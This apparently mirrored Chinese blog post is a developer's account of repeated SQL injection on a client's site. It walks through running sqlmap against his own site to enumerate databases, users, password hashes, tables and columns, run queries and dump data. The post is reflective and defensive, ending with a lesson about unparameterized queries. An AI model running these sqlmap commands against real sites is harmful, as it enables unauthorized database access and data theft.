zoukankan      html  css  js  c++  java
  • 我被SQL注入撞了一下腰

    网站的注入漏洞,应该说绝大多数做web开发的人都知道的事情。可是没想到从事6,7年开发工作的我,却会在这上栽了跟头,真是郁闷啊。心情很纠结,按照老婆的话,怎么感觉我像失恋了一样。

    事情的起因还是在几个月前,一个重要客户的网站被注入了,当时没有什么损失,只是发现超过100长度的varchar或者text类型字段,被注入了一段html代码,到是没什么恶意的破坏内容,只是类似于广告一样的东西。

    当时并没有重视,只是把表都检查了一遍,清除了一遍了事。

    但是没想到几周后,数据库再次被注入,这一次有所警觉了,详细的检查了一下大多数代码,用hp的一套天价软件对网站进行了扫描,确实发现了一个文件有注入隐患,随后清除代码,做了修复了事。

    又过了几周,数据库再一次被注入,这就让我比较光火了,再次用hp软件扫描,没有问题,服务器端用各种安全软件扫描,也没发现问题,真的是百思不得其姐,最终又只能清除代码了事。

    从此以后,就开始了拉锯,过几周就被注入,然后我清除;再过几周又被注入,我再清除,如此反反复复。甚至到最后,我不定期就会上去看看,又被注入了没。

    最终只是整理出了只感染dbo架构的表中长度超过100的字符类型字段。

    这是前情提要。割一下。


    直到今天下午,又检查时,无意间发现一个奇怪的表名,dbo.pangolin_test_table,我的所有表名都是驼峰命名,只有个别几个表会采取这种下划线命名,而我又很清除是什么表,去google一搜索,我直接泪奔了。

    看到了sqlmap,其官网上那句slogan:automatic sql injection and database takeover tool(自动sql注入和数据库接管工具,我觉得takeover翻译为接管,更加霸气一些。)

    这次我打算一鼓作气,彻底弄明白这个问题,上网站,找资料。

    sqlmap当前版本为1.0,下载地址为:https://github.com/sqlmapproject/sqlmap

    sqlmap是用python开发的,因此要在本机安装python运行环境,下载地址为:http://www.python.org/download/

    要注意的是,sqlmap对python的版本是有要求的,只能是2.6或者2.7版本,高了低了都不行,这点一定要注意。

    安装好python之后,进入sqlmap的解压目录,进行如下的操作测试,sqlmap的具体使用打算再写另外一篇文章,这里只是简单的验证一下。

    1、sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 0,开始利用页面对网站进行注入检验,因为是给自己的网站做测试,所以已经os和db,可以直接指定,来加快校验速度:

    sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbms "Microsoft SQL Server" --os "Windows" -v 0

    出现如下提示:

    意思是说,检测到多个注入点,选择一个进行注入检测,q是退出。

    2、任意选择一个之后,稍等,即会出现下面的信息:

    从这里可以看出,基本的server信息,已经在这里列出了

    3、继续执行命令(--dbs参数表示列出服务器上的所有数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbs

    到这里我已经有点惊恐了,这,太夸张了吧

    4、继续执行命令(--users表示列出所有用户):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --users

    这个,,好吧,总算还好,只能列出当前web.config字符串中使用的默认登录用户名

    5、继续执行命令:(--passwords,列出所有用户密码):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --passwords

    执行前,我心颤了几下,要这也可以,我真就郁闷大了,幸亏没获取到,应该是因为我设置了密码强验证有关

    6、执行命令(--tables,表示列出所有的表名,dbname,可指定某个具体的数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --tables -D dbname

    我觉得,瞬间有尿点了。。

    7、执行命令(--columns ,表示列出字段,tablename ,为指定的表名):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --columns -T tablename -D dbname

    你妹啊,要管理器还干毛啊,直接用这个不就好了。

    8、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 --sql-query "select top 20 * from City"

    还带查询的,,那更新,岂不,,,,我已经无语了。。

    9、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 -T tablename -D dbname --dump

    还想做的再强大点么,连导出都带了。。

    这一串做完,我不禁觉得蛋疼菊紧,这这,,曾经以为注意了,整数字符串的强验证,正则表达式对常规的邮箱、手机号等校验,只是参数化语句,确实因为各种原因,没有贯彻的很彻底,再加上实际上的目标页面,是我忙的一段时间,另外一个同事做的。

    但是却没想到,就疏忽在这小小的几个页面上了。

    一定要引以为戒啊。。。。

    曾经我以为我是个程序员攻城狮,,现在我发现,必须要要前面加上“广告公司”四字。
  • 相关阅读:
    nginx反向代理配置
    在页面完成读取EXCEL
    把List<string>转为DataTable
    临时表
    在aspx页动态加载ascx页面内容,给GridView控件绑定数据
    Content 控件
    if exists和if not exists关键字用法
    创建试图
    MyGeneration代码生成工具
    SQL Server 触发器触发器
  • 原文地址:https://www.cnblogs.com/bashenandi/p/3343855.html
Copyright © 2011-2022 走看看